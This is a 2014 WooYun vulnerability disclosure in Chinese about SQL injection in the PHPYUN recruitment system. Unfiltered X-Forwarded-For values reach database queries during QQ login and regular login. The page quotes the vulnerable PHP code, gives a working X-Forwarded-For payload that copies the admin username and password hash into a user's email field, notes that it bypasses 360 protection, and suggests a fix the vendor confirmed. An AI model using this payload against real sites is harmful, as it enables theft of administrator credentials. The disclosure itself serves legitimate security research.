当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(13) 关注此漏洞

缺陷编号: WooYun-2014-69541

漏洞标题: PHPYUN多处SQL注入及快速定位(无视360防御)

相关厂商: php云人才系统

漏洞作者: xfkxfk认证白帽子

提交时间: 2014-07-24 15:15

公开时间: 2014-10-22 15:16

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 php源码审核 php源码分析 白盒测试

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-24: 细节已通知厂商并且等待厂商处理中
2014-07-24: 厂商已经确认,细节仅向厂商公开
2014-07-27: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-17: 细节向核心白帽子及相关领域专家公开
2014-09-27: 细节向普通白帽子公开
2014-10-07: 细节向实习白帽子公开
2014-10-22: 细节向公众公开

简要描述:

好久没更新漏洞了
看最近小伙伴又在刷phpyun的,phpyun的安全防御应该做的算不错的,怎么还有漏洞?!
然后下了一个看了下,累死了,终于找到一处问题,引发几处SQL注入。
这里快速找出问题,只要很简单就可以修复完成!

详细说明:

其他地方的估计被小伙伴们都挖完了,我们来看看不常被大家关注的地方

在QQ登陆这里

qqconnect.class.php文件

我们来看看qq登陆时,会绑定这个qq的相关信息:

code 区域
function qqbind_action()
{

if(($_GET['usertype']=='1' || $_GET['usertype']=='2') && $_SESSION['qq']['openid'])
{
$usertype = $_GET['usertype'];
$ip = $this->obj->fun_ip_get();
$time = time();
$salt = substr(uniqid(rand()), -6);
$pass = md5(md5($salt).$salt);
$username = $this->checkuser($_SESSION['qq']['nickname'],$_SESSION['qq']['nickname']);

$userid=$this->obj->DB_insert_once("member","`username`='$username',`password`='$pass',`usertype`='$usertype',`status`='1',`salt`='$salt',`reg_date`='$time',`reg_ip`='$ip',`qqid`='".$_SESSION['qq']['openid']."'");
if(!$userid)
{
$user = $this->obj->DB_select_once("member","`username`='".$username."'","`uid`");
$userid = $user['uid'];
$email = $user['email'];
}



phpyun里面get,post,cookie基本上被过滤的差不多了都

我们来看看这里的$ip = $this->obj->fun_ip_get();

/model/class/action.class.php

code 区域
function fun_ip_get() {
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) {
$ip = getenv("HTTP_CLIENT_IP");
} else
if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) {
$ip = getenv("HTTP_X_FORWARDED_FOR");
} else
if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) {
$ip = getenv("REMOTE_ADDR");
} else
if (isset ($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) {
$ip = $_SERVER['REMOTE_ADDR'];
} else {
$ip = "unknown";
}
return ($ip);
}



奇怪,这里为什么没有任何防御咧?!!!

phpyun的小伙伴搞什么飞机哦!?

这么明显的XFF注入,怎么没有防御咧?!



好吧。。。

我们来看看还有没有其他地方使用了这个fun_ip_get函数:

111.png





来看看这里的login.class.php文件

code 区域
function loginsave_action()
{
$username=iconv("utf-8","gbk",$_POST['username']);

if($_COOKIE['uid']!=""&&$_COOKIE['username']!="")
{
$this->ajaxlogin($_POST['comid'],"您已经登陆了,您不是个人用户!");
echo "您已经登录了!";die;
}
......
$time = time();
$ip = $this->obj->fun_ip_get();
$this->obj->DB_update_all("member","`login_ip`='$ip',`login_date`='$time',`login_hits`=`login_hits`+1","`uid`='".$user['uid']."'");
$this->unset_cookie();
......



这里也存在SQL注入的



再来看看register.class.php文件

code 区域
function regsave_action(){
$_POST=$this->post_trim($_POST);
$_POST['username']=iconv("utf-8","gbk",$_POST['username']);
$_POST['unit_name']=iconv("utf-8","gbk",$_POST['unit_name']);
$_POST['address']=iconv("utf-8","gbk",$_POST['address']);
if($_COOKIE['uid']!=""&&$_COOKIE['username']!=""){
echo "8##您已经登录了!";die;
}
$usertype=$_POST['usertype'];
if(strstr($this->config['code_web'],'注册会员')){
if(md5($_POST['authcode'])!=$_SESSION['authcode']){
echo "8##验证码错误!";die;
}
}
......
$ip = $this->obj->fun_ip_get();
$data['username']=$_POST['username'];
$data['password']=$pass;
$data['moblie']=$_POST['moblie'];
$data['email']=$_POST['email'];
$data['usertype']=$_POST['usertype'];
$data['status']=$satus;
$data['salt']=$salt;
$data['reg_date']=time();
$data['reg_ip']=$ip;
$data['qqid']=$_SESSION['qq']['openid'];
$data['sinaid']=$_SESSION['sinaid'];
$userid=$this->obj->insert_into("member",$data);
......



但是这里的insert_into有过滤,无法注入成功,但是问题点依然存在。



通过上面的方法,找出全部使用此问题函数的地方,就能快速登陆到漏洞所在。

其他的就不一一验证了。

漏洞证明:

我们拿第一处QQ登陆看看

首先设置我们的X-Forwarded-For

code 区域
X-Forwarded-For:**.**.**.**',`email`=(select concat(username,0x23,password) from phpyun_admin_user limit 1)#



222.png



然后使用QQ登陆

我们来看看SQL执行日志:

333.png



然后登陆成功后用户的email就会被修改

444.png

修复方案:

有两个声明fun_ip_get函数的地方

/include/public.function.php

/model/class/action.class.php

第一个过滤,但是没在上面使用

第二个没过滤,使用在了上面的地方

所以这把第二个地方的函数过滤处理就ok了。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-07-24 15:28

厂商回复:

问题确实存在,感谢提供!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-07-24 16:38 | PgHook ( 普通白帽子 | Rank:1020 漏洞数:123 | Portulaca grandiflora Hook.)
    1

    霸气啊!! 无视360防御

  2. 2014-07-25 13:37 | Tixe ( 路人 | Rank:2 漏洞数:1 )
    1

    霸气啊!! 无视360防御

  3. 2014-07-29 17:29 | 小杨 ( 路人 | Rank:22 漏洞数:4 | 。)
    1

    霸气啊!! 无视360防御

  4. 2014-10-22 23:56 | noob ( 实习白帽子 | Rank:85 漏洞数:19 | 向各位大神学习,向各位大神致敬)
    0

    涨姿势了

登录后才能发表评论,请先 登录